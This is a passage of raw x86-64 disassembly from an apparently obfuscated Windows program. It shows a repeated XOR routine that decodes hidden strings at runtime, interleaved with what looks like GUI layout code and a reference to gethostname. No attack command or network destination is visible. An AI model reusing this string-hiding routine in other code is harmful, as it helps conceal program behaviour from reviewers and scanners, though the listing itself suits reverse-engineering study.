lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1400539f0
mov dword [rbp + 0x650], 0x3ebebebf
lea rdx, [rbp + 0x7c8]
mov dword [rbp + 0x654], 0x3ebebebf
lea rcx, [rbp - 0x80]
mov dword [rbp + 0x658], 0x3ed4d4d6
movups xmm0, xmmword [rbp + 0x650]
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x650], xmm0
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
call fcn.140011910
mov rcx, r15
call fcn.140011870
cmp byte [0x1400e7a81], 0
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7db8]
addss xmm2, dword [0x1400e7dac]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movups xmm0, xmmword [str.VZ_R]
movzx eax, word [0x1400e7a80]
mov dword [rbp + 0x370], 0x42c80000
movups xmmword [rbp + 0x708], xmm0
mov dword [rbp + 0x374], 0x41200000
mov word [rbp + 0x718], ax
je 0x140053cd4
mov r8d, edi
cmp r13d, 2
jl 0x140053c8f
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x70c]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140053b82
cmp r8d, 0x12
jge 0x140053cd4
movsxd rax, r8d
lea r9, [rbp + 0x708]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140053ca0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x708]
call fcn.14004cb80
test al, al
je 0x140053d09
mov dword [0x140100178], 0x3f000000
mov byte [0x1401000ec], 1
mov byte [0x1401000eb], 0
mov dword [0x140100174], edi
call fcn.140011910
jmp 0x140056010
cmp ecx, 2
jne 0x140055b71
test al, al
jne 0x140056010
mov rax, qword [r8 + 0x1d18]
lea rdx, [rbp + 0x368]
mov dword [rbp + 0x368], 0x44160000
mov dword [rbp + 0x36c], 0x43cc8000
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm12
addss xmm2, xmm14
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14003b630
mov rcx, qword [0x1401000f0]
xor r9d, r9d
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x178]
movss xmm6, dword [rax + 0x16c]
movss xmm7, dword [rax + 0x170]
movss xmm0, dword [rax + 0x174]
unpcklps xmm0, xmm1
movaps xmm1, xmm6
mov byte [rax + 0xd1], 1
movq r8, xmm0
mov rax, qword [rcx + 0x1d18]
unpcklps xmm1, xmm7
movq rdx, xmm1
mov rbx, qword [rax + 0x2f8]
mov rcx, rbx
call fcn.14002ca80
movaps xmm0, xmm6
mov rcx, rbx
unpcklps xmm0, xmm7
movq rdx, xmm0
call fcn.14004d4a0
mov eax, dword [rbx + 0x58]
sub eax, 1
mov dword [rbx + 0x58], eax
jne 0x140053e42
mov rax, qword [rbx + 0x38]
add rax, 0x1c
jmp 0x140053e4e
dec eax
cdqe
shl rax, 4
add rax, qword [rbx + 0x60]
movups xmm0, xmmword [rax]
mov rcx, rbx
movups xmmword [rbx + 0x88], xmm0
call fcn.14002c8a0
mov rcx, qword [0x1401000f0]
lea rdx, [rbp + 0x360]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x60]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7cfc]
addss xmm2, dword [0x1400e7d20]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.XQW9]
mov dword [rbp + 0x60], eax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
xor byte [rbp + 0x61], 0x36
xor al, 0x39
xor byte [rbp + 0x62], 0x37
xor byte [rbp + 0x63], 0x38
mov byte [rbp + 0x64], al
mov dword [rbp + 0x360], 0x440ac000
mov dword [rbp + 0x364], 0x42a00000
mov byte [rbp + 0x60], 0x69
call fcn.14000b330
lea rcx, [rbp + 0x358]
mov dword [rbp + 0x358], 0x41200000
mov dword [rbp + 0x35c], 0x41000000
call fcn.1400120c0
cmp byte [0x1400e7bd3], 0
movsd xmm3, qword [str.xqwkwzhtqq_]
mov eax, dword [0x1400e7bd0]
movsd qword [rbp + 0x160], xmm3
mov dword [rbp + 0x168], eax
je 0x1400540e4
mov r8d, edi
cmp r13d, 2
jl 0x14005409f
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xqwkwzhtqq_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x160], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x164]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400540b0
lea rcx, [rbp + 0x160]
call fcn.14003a3e0
call fcn.14003cdd0
call fcn.14003d3b0
lea rcx, [rbp + 0x350]
mov dword [rbp + 0x350], 0x41200000
mov dword [rbp + 0x354], 0x42140000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xce8]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xcf8]
mov edx, 0x40
mov r10, rax
call fcn.140039c90
mov ecx, dword [0x1400e7850]
mov r11, rax
movsd xmm3, qword [0x1400e7848]
mov r8d, edi
mov dword [rbp + 0x108], ecx
movzx ecx, byte [0x1400e7854]
mov byte [rbp + 0x10c], cl
movsd qword [rbp + 0x100], xmm3
cmp r13d, 2
jl 0x1400542b1
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400e7848]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x100], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x104]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400542c0
cmp byte [0x1400e77a1], 0
movsd xmm0, qword [str.edxlyo]
movzx eax, word [0x1400e77a0]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x14005433d
xor byte [rbp - 0x3f], 0x36
xor byte [rbp - 0x3e], 0x37
xor byte [rbp - 0x3d], 0x38
xor byte [rbp - 0x3c], 0x39
xor byte [rbp - 0x3b], 0x3a
xor byte [rbp - 0x3a], 0x3b
xor byte [rbp - 0x39], 0x3c
xor byte [rbp - 0x38], 0x3d
xor byte [rbp - 0x37], 0x3e
mov byte [rbp - 0x40], 0x50
mov r9, r10
lea rdx, [rbp + 0x100]
mov r8, r11
lea rcx, [rbp - 0x40]
call fcn.14004d0b0
lea rcx, [rbp + 0x348]
mov dword [rbp + 0x348], 0x41200000
mov dword [rbp + 0x34c], 0x425c0000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xd08]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xd18]
mov edx, 0x40
mov rdi, rax
call fcn.140039c90
lea rcx, [0x1400ff018]
mov rsi, rax
call fcn.140057a80
cmp byte [0x1400e7a4d], 0
mov r10, rax
mov ecx, dword [0x1400e7a48]
movsd xmm0, qword [str.pngqkcexjzzaB]
mov dword [rbp + 0x178], ecx
movzx ecx, word [0x1400e7a4c]
mov word [rbp + 0x17c], cx
movsd qword [rbp + 0x170], xmm0
je 0x140054574
xor eax, eax
mov r8d, eax
cmp r13d, 2
jl 0x140054529
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pngqkcexjzzaB]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x170], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x174]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140054540
mov r9, rdi
lea rcx, [rbp + 0x170]
mov r8, rsi
mov rdx, r10
call fcn.14004d0b0
call fcn.14000b3c0
lea rcx, [rbp + 0x340]
mov dword [rbp + 0x340], 0x41700000
mov dword [rbp + 0x344], 0x430d0000
call fcn.1400120c0
cmp byte [0x1400e76c1], 0
movsd xmm0, qword [0x1400e76b8]
movzx eax, word [0x1400e76c0]
movsd qword [rbp - 0x50], xmm0
mov word [rbp - 0x48], ax
mov dword [rbp + 0x338], 0x440ac000
mov dword [rbp + 0x33c], 0x42e60000
je 0x14005460b
xor byte [rbp - 0x4f], 0x36
xor byte [rbp - 0x4e], 0x37
xor byte [rbp - 0x4d], 0x38
xor byte [rbp - 0x4c], 0x39
xor byte [rbp - 0x4b], 0x3a
xor byte [rbp - 0x4a], 0x3b
xor byte [rbp - 0x49], 0x3c
xor byte [rbp - 0x48], 0x3d
xor byte [rbp - 0x47], 0x3e
mov byte [rbp - 0x50], 0x75
lea rdx, [rbp + 0x338]
lea rcx, [rbp - 0x50]
call fcn.14000b330
lea rcx, [rbp + 0x330]
mov dword [rbp + 0x330], 0x41200000
mov dword [rbp + 0x334], 0x41000000
call fcn.1400120c0
mov ecx, dword [str._erj9]
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov dword [rbp], ecx
xor al, 0x39
xor byte [rbp + 1], 0x36
lea rcx, [rbp]
xor byte [rbp + 2], 0x37
xor byte [rbp + 3], 0x38
mov byte [rbp + 4], al
mov byte [rbp], 0x55
call fcn.14003a3e0
call fcn.14003cdd0
call fcn.14003d3b0
lea rcx, [rbp + 0x328]
mov dword [rbp + 0x328], 0x41200000
mov dword [rbp + 0x32c], 0x42140000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xd28]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xb98]
mov edx, 0x40
mov rdi, rax
call fcn.140039c90
lea rcx, [0x1401003e0]
mov rbx, rax
call fcn.140057a80
mov ecx, dword [str.a]
mov r9, rdi
movzx edx, word [0x1400e76c8]
mov r8, rbx
mov dword [rbp + 0x74], ecx
movzx ecx, byte [0x1400e76ca]
xor byte [rbp + 0x75], 0x36
xor cl, 0x3b
xor byte [rbp + 0x76], 0x37
xor byte [rbp + 0x77], 0x38
mov word [rbp + 0x78], dx
xor dl, 0x39
xor byte [rbp + 0x79], 0x3a
mov byte [rbp + 0x7a], cl
lea rcx, [rbp + 0x74]
mov byte [rbp + 0x78], dl
mov rdx, rax
mov byte [rbp + 0x74], 0x48
call fcn.14004d0b0
lea rcx, [rbp + 0x320]
mov dword [rbp + 0x320], 0x41200000
mov dword [rbp + 0x324], 0x425c0000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xaa8]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xab8]
mov edx, 0x40
mov rbx, rax
call fcn.140039c90
lea rcx, [0x140100300]
mov rdi, rax
call fcn.140057a80
movsd xmm0, qword [0x1400e78d0]
mov r10, rax
mov ecx, dword [0x1400e78d8]
xor esi, esi
cmp byte [0x1400e78dd], sil
mov dword [rbp + 0x188], ecx
movzx ecx, word [0x1400e78dc]
mov word [rbp + 0x18c], cx
movsd qword [rbp + 0x180], xmm0
je 0x140054954
mov r8d, esi
cmp r13d, 2
jl 0x140054905
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400e78d0]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x180], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x184]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140054920
mov r9, rbx
lea rcx, [rbp + 0x180]
mov r8, rdi
mov rdx, r10
call fcn.14004d0b0
lea rcx, [rbp + 0x318]
mov dword [rbp + 0x318], 0x41200000
mov dword [rbp + 0x31c], 0x42920000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xac8]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xad8]
mov edx, 0x40
mov rbx, rax
call fcn.140039c90
lea rcx, [0x140100320]
mov rdi, rax
call fcn.140057a80
mov ecx, dword [0x1400e7bc0]
mov r10, rax
movsd xmm0, qword [str.zxqw]
mov r8d, esi
mov dword [rbp + 0x138], ecx
movzx ecx, word [0x1400e7bc4]
mov word [rbp + 0x13c], cx
movzx ecx, byte [0x1400e7bc6]
mov byte [rbp + 0x13e], cl
movsd qword [rbp + 0x130], xmm0
cmp r13d, 2
jl 0x140054b3d
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.zxqw]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x130], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x134]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x134], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140054b50
mov r9, rbx
lea rcx, [rbp + 0x130]
mov r8, rdi
mov rdx, r10
call fcn.14004d0b0
lea rdx, [0x140100420]
lea rcx, [rbp + 0xd38]
call fcn.140057c00
mov rcx, rax
call fcn.140056c60
mov rdx, rax
lea rcx, [rbp + 0xef8]
call fcn.140056cf0
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0xc98]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movaps xmmword [rbp + 0xa50], xmm0
movaps xmmword [rbp + 0xa60], xmm1
mov dword [rbp + 0xa70], eax
call fcn.140056bc0
mov rcx, rax
call fcn.140057a80
mov rdx, rax
lea rcx, [rbp + 0x1130]
call fcn.140057bc0
lea rcx, [rbp + 0xc98]
call fcn.140057ad0
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0xdb8]
call fcn.140057c00
mov rdx, rax
lea rcx, [rbp + 0xcb8]
call fcn.14004a850
mov rcx, rax
call fcn.140057a80
mov rdx, rax
lea rcx, [rbp + 0x1110]
call fcn.140057bc0
lea rcx, [rbp + 0xcb8]
call fcn.140057ad0
lea rcx, [rbp + 0x398]
mov dword [rbp + 0x398], 0x41200000
mov dword [rbp + 0x39c], 0x42b60000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xae8]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xaf8]
mov edx, 0x40
mov rbx, rax
call fcn.140039c90
lea rcx, [rbp + 0x1110]
mov rdi, rax
call fcn.140057a80
mov ecx, dword [0x1400e76f0]
mov r10, rax
movsd xmm0, qword [0x1400e76e8]
mov r8d, esi
mov dword [rbp + 0x128], ecx
movzx ecx, byte [0x1400e76f4]
mov byte [rbp + 0x12c], cl
movsd qword [rbp + 0x120], xmm0
cmp r13d, 2
jl 0x140054e22
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400e76e8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x120], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
